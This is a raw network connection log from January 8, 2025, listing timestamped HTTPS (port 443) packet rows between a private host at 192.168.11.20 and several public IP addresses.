Jan 8, 2025 16:18:49.142008066 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.142008066 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.142429113 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.142589092 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.142601967 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.142611980 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.142699957 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.144052029 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.144062042 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.144249916 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.144249916 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.144298077 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.144304037 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.144318104 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.144366980 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.144464970 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.145880938 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.145890951 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.146054983 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.146054983 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.146111012 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.146161079 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.146167040 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.146265030 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.147770882 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.147779942 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.147876024 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.147881031 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.147988081 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.148013115 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.148061991 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.149528027 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.149537086 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.149694920 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.149827957 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.149827957 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.149837017 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.150453091 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.150700092 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.150707960 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.152151108 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.152160883 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.152296066 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.152304888 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.152334929 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.152450085 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.152801037 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.152997017 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.153089046 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.154350996 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.154357910 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.154572964 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.154572964 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.154582977 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.154828072 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.156023026 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.156029940 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.156172991 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.156238079 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.156238079 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.156248093 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.156254053 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.156330109 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.156390905 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.157876015 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.157886028 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.158018112 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.158018112 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.158026934 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.158061981 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.158183098 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.159493923 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.159502983 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.159706116 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.159706116 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.159715891 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.159785032 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.160340071 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.160490990 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.160496950 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.160614967 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.161792040 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.161803007 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.161942005 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.161947966 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.162040949 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.162065983 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.162065983 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.162569046 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.162631035 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.162759066 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.162759066 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.163793087 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.163804054 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.252573967 CET	50415	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.252590895 CET	443	50415	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.252774954 CET	50415	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.252981901 CET	50415	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.252990007 CET	443	50415	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.255079031 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.255094051 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.258171082 CET	50801	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.258184910 CET	443	50801	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.258380890 CET	50801	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.258557081 CET	50801	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.258565903 CET	443	50801	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.261948109 CET	63894	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.302208900 CET	443	63894	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.384911060 CET	443	63894	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.385196924 CET	443	63894	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.385351896 CET	63894	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.385936022 CET	63894	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.385948896 CET	443	63894	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.494425058 CET	443	50415	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.496857882 CET	50415	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.496866941 CET	443	50415	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.497172117 CET	443	50415	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.497603893 CET	50415	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.497690916 CET	443	50415	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.499270916 CET	443	50801	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.499568939 CET	50801	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.499579906 CET	443	50801	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.499860048 CET	443	50801	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.500397921 CET	50801	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.500479937 CET	443	50801	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.547317028 CET	50415	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.547333956 CET	50801	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:50.223277092 CET	57630	443	192.168.11.20	149.112.112.112
Jan 8, 2025 16:18:50.223299026 CET	443	57630	149.112.112.112	192.168.11.20
Jan 8, 2025 16:18:50.223341942 CET	53893	443	192.168.11.20	149.112.112.112
Jan 8, 2025 16:18:50.223356962 CET	443	53893	149.112.112.112	192.168.11.20
Jan 8, 2025 16:18:50.223404884 CET	64043	443	192.168.11.20	149.112.112.112
Jan 8, 2025 16:18:50.223418951 CET	443	64043	149.112.112.112	192.168.11.20
Jan 8, 2025 16:18:50.223550081 CET	57630	443	192.168.11.20	149.112.112.112
Jan 8, 2025 16:18:50.223577976 CET	53893	443	192.168.11.20	149.112.112.112
Jan 8, 2025 16:18:50.223695040 CET	64043	443	192.168.11.20	149.112.112.112
Jan 8, 2025 16:18:50.223946095 CET	53893	443	192.168.11.20	149.112.112.112
Jan 8, 2025 16:18:50.223953009 CET	443	53893	149.112.112.112	192.168.11.20
Jan 8, 2025 16:18:50.224026918 CET	57630	443	192.168.11.20	149.112.112.112
Jan 8, 2025 16:18:50.224034071 CET	443	57630	149.112.112.112	192.168.11.20
Jan 8, 2025 16:18:50.224081039 CET	64043	443	192.168.11.20	149.112.112.112
Jan 8, 2025 16:18:50.224091053 CET	443	64043	149.112.112.112	192.168.11.20
Jan 8, 2025 16:18:50.224132061 CET	54022	443	192.168.11.20	162.159.61.3
Jan 8, 2025 16:18:50.224145889 CET	443	54022	162.159.61.3	192.168.11.20
Jan 8, 2025 16:18:50.224230051 CET	53838	443	192.168.11.20	162.159.61.3
Jan 8, 2025 16:18:50.224239111 CET	443	53838	162.159.61.3	192.168.11.20
Jan 8, 2025 16:18:50.224278927 CET	53899	443	192.168.11.20	162.159.61.3
Jan 8, 2025 16:18:50.224286079 CET	443	53899	162.159.61.3	192.168.11.20
Jan 8, 2025 16:18:50.224327087 CET	54022	443	192.168.11.20	162.159.61.3
Jan 8, 2025 16:18:50.224384069 CET	53838	443	192.168.11.20	162.159.61.3
Jan 8, 2025 16:18:50.224384069 CET	53899	443	192.168.11.20	162.159.61.3
Jan 8, 2025 16:18:50.224481106 CET	54022	443	192.168.11.20	162.159.61.3
Jan 8, 2025 16:18:50.224488020 CET	443	54022	162.159.61.3	192.168.11.20
Jan 8, 2025 16:18:50.224534035 CET	53899	443	192.168.11.20	162.159.61.3
Jan 8, 2025 16:18:50.224538088 CET	443	53899	162.159.61.3	192.168.11.20
Jan 8, 2025 16:18:50.224596977 CET	53838	443	192.168.11.20	162.159.61.3
Jan 8, 2025 16:18:50.224603891 CET	443	53838	162.159.61.3	192.168.11.20
Jan 8, 2025 16:18:50.234904051 CET	62485	443	192.168.11.20	20.125.209.212
Jan 8, 2025 16:18:50.263942003 CET	51978	443	192.168.11.20	108.159.227.121
Jan 8, 2025 16:18:50.278212070 CET	443	62485	20.125.209.212	192.168.11.20
Jan 8, 2025 16:18:50.306210995 CET	443	51978	108.159.227.121	192.168.11.20
Jan 8, 2025 16:18:50.355686903 CET	57694	443	192.168.11.20	52.178.17.233
Jan 8, 2025 16:18:50.355706930 CET	443	57694	52.178.17.233	192.168.11.20
Jan 8, 2025 16:18:50.355950117 CET	57694	443	192.168.11.20	52.178.17.233
Jan 8, 2025 16:18:50.356097937 CET	57694	443	192.168.11.20	52.178.17.233
Jan 8, 2025 16:18:50.356107950 CET	443	57694	52.178.17.233	192.168.11.20
Jan 8, 2025 16:18:50.443892956 CET	443	51978	108.159.227.121	192.168.11.20
Jan 8, 2025 16:18:50.443974972 CET	443	51978	108.159.227.121	192.168.11.20
Jan 8, 2025 16:18:50.444113016 CET	51978	443	192.168.11.20	108.159.227.121
Jan 8, 2025 16:18:50.444458961 CET	51978	443	192.168.11.20	108.159.227.121
Jan 8, 2025 16:18:50.444468021 CET	443	51978	108.159.227.121	192.168.11.20
Jan 8, 2025 16:18:50.455063105 CET	60106	443	192.168.11.20	108.159.227.121
Jan 8, 2025 16:18:50.455086946 CET	443	60106	108.159.227.121	192.168.11.20
Jan 8, 2025 16:18:50.455452919 CET	60106	443	192.168.11.20	108.159.227.121
Jan 8, 2025 16:18:50.455936909 CET	60106	443	192.168.11.20	108.159.227.121
Jan 8, 2025 16:18:50.455946922 CET	443	60106	108.159.227.121	192.168.11.20
Jan 8, 2025 16:18:50.468625069 CET	443	53838	162.159.61.3	192.168.11.20
Jan 8, 2025 16:18:50.469054937 CET	53838	443	192.168.11.20	162.159.61.3
Jan 8, 2025 16:18:50.469060898 CET	443	53838	162.159.61.3	192.168.11.20
Jan 8, 2025 16:18:50.469389915 CET	443	57630	149.112.112.112	192.168.11.20
Jan 8, 2025 16:18:50.469659090 CET	57630	443	192.168.11.20	149.112.112.112
Jan 8, 2025 16:18:50.469666004 CET	443	57630	149.112.112.112	192.168.11.20
Jan 8, 2025 16:18:50.469666958 CET	443	54022	162.159.61.3	192.168.11.20
Jan 8, 2025 16:18:50.469913960 CET	443	53838	162.159.61.3	192.168.11.20
Jan 8, 2025 16:18:50.469971895 CET	54022	443	192.168.11.20	162.159.61.3
Jan 8, 2025 16:18:50.469975948 CET	443	54022	162.159.61.3	192.168.11.20
Jan 8, 2025 16:18:50.470185041 CET	53838	443	192.168.11.20	162.159.61.3
Jan 8, 2025 16:18:50.470422983 CET	443	57630	149.112.112.112	192.168.11.20
Jan 8, 2025 16:18:50.470596075 CET	443	53899	162.159.61.3	192.168.11.20
Jan 8, 2025 16:18:50.470654011 CET	57630	443	192.168.11.20	149.112.112.112
Jan 8, 2025 16:18:50.470660925 CET	443	57630	149.112.112.112	192.168.11.20
Jan 8, 2025 16:18:50.470673084 CET	443	54022	162.159.61.3	192.168.11.20
Jan 8, 2025 16:18:50.470799923 CET	57630	443	192.168.11.20	149.112.112.112
Jan 8, 2025 16:18:50.470868111 CET	54022	443	192.168.11.20	162.159.61.3
Jan 8, 2025 16:18:50.470980883 CET	53899	443	192.168.11.20	162.159.61.3
Jan 8, 2025 16:18:50.470985889 CET	443	53899	162.159.61.3	192.168.11.20
Jan 8, 2025 16:18:50.471391916 CET	53838	443	192.168.11.20	162.159.61.3
Jan 8, 2025 16:18:50.471415997 CET	443	64043	149.112.112.112	192.168.11.20
Jan 8, 2025 16:18:50.471448898 CET	443	53838	162.159.61.3	192.168.11.20
Jan 8, 2025 16:18:50.471509933 CET	53838	443	192.168.11.20	162.159.61.3
Jan 8, 2025 16:18:50.471817017 CET	443	53899	162.159.61.3	192.168.11.20
Jan 8, 2025 16:18:50.471833944 CET	64043	443	192.168.11.20	149.112.112.112
Jan 8, 2025 16:18:50.471843004 CET	443	64043	149.112.112.112	192.168.11.20
Jan 8, 2025 16:18:50.471895933 CET	54022	443	192.168.11.20	162.159.61.3
Jan 8, 2025 16:18:50.471944094 CET	54022	443	192.168.11.20	162.159.61.3
Jan 8, 2025 16:18:50.471946001 CET	443	54022	162.159.61.3	192.168.11.20
Jan 8, 2025 16:18:50.472023010 CET	53899	443	192.168.11.20	162.159.61.3
Jan 8, 2025 16:18:50.472053051 CET	57630	443	192.168.11.20	149.112.112.112
Jan 8, 2025 16:18:50.472107887 CET	443	57630	149.112.112.112	192.168.11.20
Jan 8, 2025 16:18:50.472187042 CET	443	53893	149.112.112.112	192.168.11.20
Jan 8, 2025 16:18:50.472295046 CET	57630	443	192.168.11.20	149.112.112.112
Jan 8, 2025 16:18:50.472502947 CET	53893	443	192.168.11.20	149.112.112.112
Jan 8, 2025 16:18:50.472508907 CET	443	53893	149.112.112.112	192.168.11.20
Jan 8, 2025 16:18:50.472785950 CET	443	64043	149.112.112.112	192.168.11.20
Jan 8, 2025 16:18:50.473031998 CET	64043	443	192.168.11.20	149.112.112.112
Jan 8, 2025 16:18:50.473041058 CET	443	64043	149.112.112.112	192.168.11.20
Jan 8, 2025 16:18:50.473237038 CET	64043	443	192.168.11.20	149.112.112.112
Jan 8, 2025 16:18:50.473310947 CET	443	53893	149.112.112.112	192.168.11.20
Jan 8, 2025 16:18:50.473318100 CET	53899	443	192.168.11.20	162.159.61.3
Jan 8, 2025 16:18:50.473366976 CET	443	53899	162.159.61.3	192.168.11.20
Jan 8, 2025 16:18:50.473393917 CET	53899	443	192.168.11.20	162.159.61.3
Jan 8, 2025 16:18:50.473560095 CET	53893	443	192.168.11.20	149.112.112.112
Jan 8, 2025 16:18:50.473567009 CET	443	53893	149.112.112.112	192.168.11.20
Jan 8, 2025 16:18:50.474791050 CET	53893	443	192.168.11.20	149.112.112.112
Jan 8, 2025 16:18:50.474797010 CET	64043	443	192.168.11.20	149.112.112.112
Jan 8, 2025 16:18:50.474797010 CET	64043	443	192.168.11.20	149.112.112.112
Jan 8, 2025 16:18:50.474884033 CET	443	64043	149.112.112.112	192.168.11.20
Jan 8, 2025 16:18:50.475337029 CET	53893	443	192.168.11.20	149.112.112.112
Jan 8, 2025 16:18:50.475337029 CET	53893	443	192.168.11.20	149.112.112.112
Jan 8, 2025 16:18:50.475428104 CET	443	53893	149.112.112.112	192.168.11.20
Jan 8, 2025 16:18:50.514206886 CET	443	53838	162.159.61.3	192.168.11.20
Jan 8, 2025 16:18:50.514221907 CET	443	53899	162.159.61.3	192.168.11.20
Jan 8, 2025 16:18:50.514244080 CET	443	57630	149.112.112.112	192.168.11.20
Jan 8, 2025 16:18:50.514246941 CET	443	54022	162.159.61.3	192.168.11.20
Jan 8, 2025 16:18:50.515269041 CET	443	62485	20.125.209.212	192.168.11.20
Jan 8, 2025 16:18:50.515310049 CET	443	62485	20.125.209.212	192.168.11.20
Jan 8, 2025 16:18:50.515465975 CET	62485	443	192.168.11.20	20.125.209.212
Jan 8, 2025 16:18:50.520946980 CET	54022	443	192.168.11.20	162.159.61.3
Jan 8, 2025 16:18:50.520946980 CET	53899	443	192.168.11.20	162.159.61.3
Jan 8, 2025 16:18:50.520960093 CET	443	54022	162.159.61.3	192.168.11.20
Jan 8, 2025 16:18:50.520963907 CET	443	53899	162.159.61.3	192.168.11.20
Jan 8, 2025 16:18:50.520966053 CET	57630	443	192.168.11.20	149.112.112.112
Jan 8, 2025 16:18:50.520967960 CET	53893	443	192.168.11.20	149.112.112.112
Jan 8, 2025 16:18:50.520972013 CET	443	53893	149.112.112.112	192.168.11.20
Jan 8, 2025 16:18:50.520976067 CET	443	57630	149.112.112.112	192.168.11.20
Jan 8, 2025 16:18:50.522305965 CET	64043	443	192.168.11.20	149.112.112.112
Jan 8, 2025 16:18:50.522315025 CET	443	64043	149.112.112.112	192.168.11.20
Jan 8, 2025 16:18:50.523253918 CET	53838	443	192.168.11.20	162.159.61.3
Jan 8, 2025 16:18:50.523263931 CET	443	53838	162.159.61.3	192.168.11.20
Jan 8, 2025 16:18:50.523893118 CET	62485	443	192.168.11.20	20.125.209.212
Jan 8, 2025 16:18:50.523902893 CET	443	62485	20.125.209.212	192.168.11.20
Jan 8, 2025 16:18:50.565833092 CET	57630	443	192.168.11.20	149.112.112.112
Jan 8, 2025 16:18:50.565834045 CET	53893	443	192.168.11.20	149.112.112.112
Jan 8, 2025 16:18:50.565834045 CET	53899	443	192.168.11.20	162.159.61.3
Jan 8, 2025 16:18:50.565838099 CET	64043	443	192.168.11.20	149.112.112.112
Jan 8, 2025 16:18:50.565850019 CET	53838	443	192.168.11.20	162.159.61.3
Jan 8, 2025 16:18:50.568820000 CET	54022	443	192.168.11.20	162.159.61.3
Jan 8, 2025 16:18:50.697547913 CET	443	60106	108.159.227.121	192.168.11.20
Jan 8, 2025 16:18:50.697860003 CET	60106	443	192.168.11.20	108.159.227.121
Jan 8, 2025 16:18:50.697869062 CET	443	60106	108.159.227.121	192.168.11.20
Jan 8, 2025 16:18:50.698164940 CET	443	60106	108.159.227.121	192.168.11.20
Jan 8, 2025 16:18:50.698594093 CET	60106	443	192.168.11.20	108.159.227.121
Jan 8, 2025 16:18:50.698682070 CET	443	60106	108.159.227.121	192.168.11.20
Jan 8, 2025 16:18:50.698740005 CET	60106	443	192.168.11.20	108.159.227.121
Jan 8, 2025 16:18:50.704353094 CET	443	64043	149.112.112.112	192.168.11.20
Jan 8, 2025 16:18:50.704421997 CET	443	64043	149.112.112.112	192.168.11.20
Jan 8, 2025 16:18:50.704678059 CET	64043	443	192.168.11.20	149.112.112.112
Jan 8, 2025 16:18:50.704719067 CET	443	57630	149.112.112.112	192.168.11.20
Jan 8, 2025 16:18:50.704757929 CET	64043	443	192.168.11.20	149.112.112.112
Jan 8, 2025 16:18:50.704771042 CET	443	64043	149.112.112.112	192.168.11.20
Jan 8, 2025 16:18:50.704787970 CET	443	57630	149.112.112.112	192.168.11.20
Jan 8, 2025 16:18:50.704965115 CET	57630	443	192.168.11.20	149.112.112.112
Jan 8, 2025 16:18:50.705073118 CET	57630	443	192.168.11.20	149.112.112.112
Jan 8, 2025 16:18:50.705080032 CET	443	57630	149.112.112.112	192.168.11.20
Jan 8, 2025 16:18:50.705213070 CET	443	53893	149.112.112.112	192.168.11.20
Jan 8, 2025 16:18:50.705265999 CET	443	53893	149.112.112.112	192.168.11.20
Jan 8, 2025 16:18:50.705424070 CET	53893	443	192.168.11.20	149.112.112.112
Jan 8, 2025 16:18:50.705477953 CET	53893	443	192.168.11.20	149.112.112.112
Jan 8, 2025 16:18:50.705485106 CET	443	53893	149.112.112.112	192.168.11.20
Jan 8, 2025 16:18:50.742259026 CET	443	60106	108.159.227.121	192.168.11.20
Jan 8, 2025 16:18:50.745985031 CET	443	53838	162.159.61.3	192.168.11.20
Jan 8, 2025 16:18:50.746045113 CET	443	53838	162.159.61.3	192.168.11.20
Jan 8, 2025 16:18:50.746196985 CET	53838	443	192.168.11.20	162.159.61.3
Jan 8, 2025 16:18:50.746244907 CET	53838	443	192.168.11.20	162.159.61.3
Jan 8, 2025 16:18:50.746253014 CET	443	53838	162.159.61.3	192.168.11.20
Jan 8, 2025 16:18:50.747803926 CET	443	54022	162.159.61.3	192.168.11.20
Jan 8, 2025 16:18:50.747844934 CET	443	54022	162.159.61.3	192.168.11.20
Jan 8, 2025 16:18:50.747993946 CET	54022	443	192.168.11.20	162.159.61.3
Jan 8, 2025 16:18:50.748091936 CET	54022	443	192.168.11.20	162.159.61.3
Jan 8, 2025 16:18:50.748097897 CET	443	54022	162.159.61.3	192.168.11.20
Jan 8, 2025 16:18:50.748476028 CET	443	53899	162.159.61.3	192.168.11.20
Jan 8, 2025 16:18:50.748506069 CET	443	53899	162.159.61.3	192.168.11.20
Jan 8, 2025 16:18:50.748677969 CET	53899	443	192.168.11.20	162.159.61.3
Jan 8, 2025 16:18:50.748725891 CET	53899	443	192.168.11.20	162.159.61.3
Jan 8, 2025 16:18:50.748732090 CET	443	53899	162.159.61.3	192.168.11.20
Jan 8, 2025 16:18:50.753330946 CET	60106	443	192.168.11.20	108.159.227.121
Jan 8, 2025 16:18:50.774732113 CET	58075	443	192.168.11.20	23.220.206.35
Jan 8, 2025 16:18:50.774751902 CET	443	58075	23.220.206.35	192.168.11.20
Jan 8, 2025 16:18:50.775047064 CET	58075	443	192.168.11.20	23.220.206.35
Jan 8, 2025 16:18:50.775180101 CET	58075	443	192.168.11.20	23.220.206.35
Jan 8, 2025 16:18:50.775190115 CET	443	58075	23.220.206.35	192.168.11.20
Jan 8, 2025 16:18:51.000530005 CET	443	60106	108.159.227.121	192.168.11.20
Jan 8, 2025 16:18:51.001023054 CET	443	60106	108.159.227.121	192.168.11.20
Jan 8, 2025 16:18:51.001156092 CET	60106	443	192.168.11.20	108.159.227.121
Jan 8, 2025 16:18:51.001156092 CET	60106	443	192.168.11.20	108.159.227.121
Jan 8, 2025 16:18:51.001167059 CET	443	60106	108.159.227.121	192.168.11.20
Jan 8, 2025 16:18:51.001353025 CET	60106	443	192.168.11.20	108.159.227.121
Jan 8, 2025 16:18:51.019382954 CET	61434	443	192.168.11.20	20.125.209.212
Jan 8, 2025 16:18:51.019401073 CET	443	61434	20.125.209.212	192.168.11.20
Jan 8, 2025 16:18:51.019536018 CET	61434	443	192.168.11.20	20.125.209.212
Jan 8, 2025 16:18:51.019556046 CET	443	58075	23.220.206.35	192.168.11.20
Jan 8, 2025 16:18:51.019737959 CET	61434	443	192.168.11.20	20.125.209.212
Jan 8, 2025 16:18:51.019745111 CET	443	61434	20.125.209.212	192.168.11.20
Jan 8, 2025 16:18:51.019828081 CET	58075	443	192.168.11.20	23.220.206.35
Jan 8, 2025 16:18:51.019839048 CET	443	58075	23.220.206.35	192.168.11.20
Jan 8, 2025 16:18:51.020539045 CET	443	58075	23.220.206.35	192.168.11.20
Jan 8, 2025 16:18:51.020715952 CET	58075	443	192.168.11.20	23.220.206.35
Jan 8, 2025 16:18:51.023755074 CET	58075	443	192.168.11.20	23.220.206.35
Jan 8, 2025 16:18:51.023817062 CET	443	58075	23.220.206.35	192.168.11.20
Jan 8, 2025 16:18:51.023916960 CET	58075	443	192.168.11.20	23.220.206.35
Jan 8, 2025 16:18:51.036504030 CET	443	57694	52.178.17.233	192.168.11.20
Jan 8, 2025 16:18:51.036838055 CET	57694	443	192.168.11.20	52.178.17.233
Jan 8, 2025 16:18:51.036845922 CET	443	57694	52.178.17.233	192.168.11.20
Jan 8, 2025 16:18:51.037934065 CET	443	57694	52.178.17.233	192.168.11.20
Jan 8, 2025 16:18:51.038094044 CET	57694	443	192.168.11.20	52.178.17.233
Jan 8, 2025 16:18:51.039190054 CET	57694	443	192.168.11.20	52.178.17.233
Jan 8, 2025 16:18:51.039284945 CET	443	57694	52.178.17.233	192.168.11.20
Jan 8, 2025 16:18:51.039302111 CET	57694	443	192.168.11.20	52.178.17.233
Jan 8, 2025 16:18:51.039352894 CET	57694	443	192.168.11.20	52.178.17.233
Jan 8, 2025 16:18:51.039366007 CET	443	57694	52.178.17.233	192.168.11.20
Jan 8, 2025 16:18:51.039402962 CET	57694	443	192.168.11.20	52.178.17.233
Jan 8, 2025 16:18:51.045617104 CET	54833	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:51.045629025 CET	443	54833	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:51.045733929 CET	54833	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:51.045918941 CET	54833	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:51.045923948 CET	443	54833	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:51.052475929 CET	54139	443	192.168.11.20	13.107.42.14
Jan 8, 2025 16:18:51.052488089 CET	443	54139	13.107.42.14	192.168.11.20
Jan 8, 2025 16:18:51.052654982 CET	54139	443	192.168.11.20	13.107.42.14
Jan 8, 2025 16:18:51.052807093 CET	54139	443	192.168.11.20	13.107.42.14
